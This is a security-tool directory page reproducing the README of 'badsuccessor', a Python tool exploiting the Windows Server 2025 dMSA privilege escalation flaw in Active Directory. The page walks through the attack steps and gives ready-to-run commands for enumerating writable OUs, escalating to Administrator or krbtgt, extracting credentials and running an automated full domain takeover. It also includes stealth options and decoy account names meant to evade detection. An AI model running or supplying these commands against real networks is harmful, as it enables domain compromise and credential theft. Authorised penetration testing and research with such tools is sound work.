Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
badsuccessor — Exploits the Windows Server 2025 dMSA privilege escalation vulnerability to enumerate writable OUs, escalate to arbitrary domain users, extract credentials, and enable domain takeover in authorized AD security assessments. | Kitploit
Tools/GitHubGitHub/cybrly/badsuccessor
Privilege EscalationReconnaissancePersistence MechanismsExploitationLateral MovementInformation GatheringPost-ExploitationPenetration TestingRed TeamingAdversarial Attack
GitHub
122204528 days agoReviewed by Kitploit
Share
cybrly/badsuccessor

badsuccessor

Exploits the Windows Server 2025 dMSA privilege escalation vulnerability to enumerate writable OUs, escalate to arbitrary domain users, extract credentials, and enable domain takeover in authorized AD security assessments.

View Repository

BadSuccessor.py

A penetration testing tool that exploits the dMSA (delegated Managed Service Account) privilege escalation vulnerability in Windows Server 2025 Active Directory environments.

Legal Disclaimer

This tool is for authorized penetration testing and security research only. Using it against systems without explicit written permission is illegal. The authors are not responsible for misuse or damage.

The tool is under active development; behavior may vary across Windows Server 2025 builds and schema variations. Test in a non-production environment first, and report issues or submit PRs for compatibility fixes.

Overview

BadSuccessor exploits a privilege escalation vulnerability in Windows Server 2025's delegated Managed Service Account (dMSA) feature. It allows an attacker with minimal permissions to escalate to any user in the domain, including Domain Administrators.

Patch status: Tracked as CVE-2025-53779 (CVSS 7.2, relative path traversal in dMSA). Disclosed by Akamai on 2025-05-21 and fixed in Microsoft's August 2025 Patch Tuesday. Akamai notes the patch mitigates much of the risk but the underlying technique stays relevant, so this tool remains useful against unpatched or misconfigured environments.

Research by Yuval Gordon (Akamai): Abusing dMSA to Escalate Privileges in Active Directory.

Vulnerability Details

The vulnerability exists in the dMSA migration process:

  1. An attacker creates a dMSA in any writable OU
  2. Sets msDS-ManagedAccountPrecededByLink (or ms-DS-Managed-Account-Preceded-By-Link) to a target user
  3. Sets msDS-DelegatedMSAState (or ms-DS-Delegated-MSA-State) to 2 (migration completed)
  4. The KDC grants the dMSA all of the target user's privileges via PAC inheritance

Additionally, the KERB-DMSA-KEY-PACKAGE structure contains the target user's password keys, enabling credential extraction.

Prerequisites

System Requirements

  • Linux machine (non-domain joined)
  • Python 3.8+ (developed and tested on 3.14)
  • Network access to the target Active Directory environment
  • Target domain with at least one Windows Server 2025 Domain Controller

Python Dependencies

pip3 install ldap3 pyasn1 pycryptodome
pip3 install impacket==0.12.0

The tool targets impacket 0.12.0 and also runs on newer releases (tested with 0.13.1). A version-mismatch warning is printed at runtime and can be ignored on supported newer versions.

Optional Dependencies

# DNS-based DC discovery
pip3 install dnspython

# Kerberos system packages
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel

Required Permissions

  • Valid domain credentials (any user account)
  • Any of the following on at least one Organizational Unit:
    • CreateChild, Write, GenericWrite, or GenericAll
    • Membership in a default group with write access (e.g., Authenticated Users)
  • The tool discovers writable OUs and reports the specific permissions found.

Installation

git clone https://github.com/cybrly/badsuccessor.git
cd badsuccessor
pip3 install -r requirements.txt
chmod +x badsuccessor.py

requirements.txt:

ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0

Testing

Unit tests cover the DACL/ACE parsing, the GUID helper, and session handling. They need no live Active Directory.

pip3 install impacket   # test dependency
python3 -m unittest discover -s tests

Usage

Basic Syntax

python3 badsuccessor.py -d <domain> -u <username> -p <password> [options]

Examples

Dry run (no changes made):

python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"

Enumerate the environment:

python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator

Perform the attack:

python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator

python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30

python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
  --dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
  --dmsa-display-name "Production Service"

python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
  --dmsa-pattern "svc{random}prod"

Extract credentials:

python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn

Session management:

python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp_local_john_1234567890_abcd1234
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all

Export results:

python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
  --export-json attack_results.json --export-html attack_report.html

Command Line Options

Authentication

OptionDescription
-d, --domainTarget domain (e.g., corp.local) [required]
-u, --usernameUsername for authentication [required]
-p, --passwordPassword for authentication
--dc-ipDomain Controller IP (auto-discover if omitted)
--ldapsForce LDAPS (SSL) connection on port 636

Attack Modes

OptionDescription
--attackPerform the BadSuccessor attack
--dry-runSimulate the attack without making changes
--extract-credsExtract credentials using the key package
--auto-pwnFully automated domain takeover

Target Specification

OptionDescription
--targetTarget user to escalate to
--targetsComma-separated users for credential extraction
--validate-targetValidate a target account without attacking

dMSA Configuration

OptionDescription
--dmsa-nameName for the dMSA (auto-generated if omitted)
--dmsa-patternNaming pattern (e.g., svc{random}{target})
--ou-dnSpecific OU DN to use (auto-detect if omitted)
--dmsa-descriptionDescription for the created dMSA
--dmsa-display-nameDisplay name for the created dMSA

Enumeration

OptionDescription
--enumerateEnumerate OUs with any write permissions
--list-targetsList high-value targets
--check-schemaVerify Windows Server 2025 schema

Session Management

OptionDescription
--session-idResume an existing session
--list-sessionsList all available sessions
--cleanup-session SESSION_IDClean up all dMSAs from a session
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →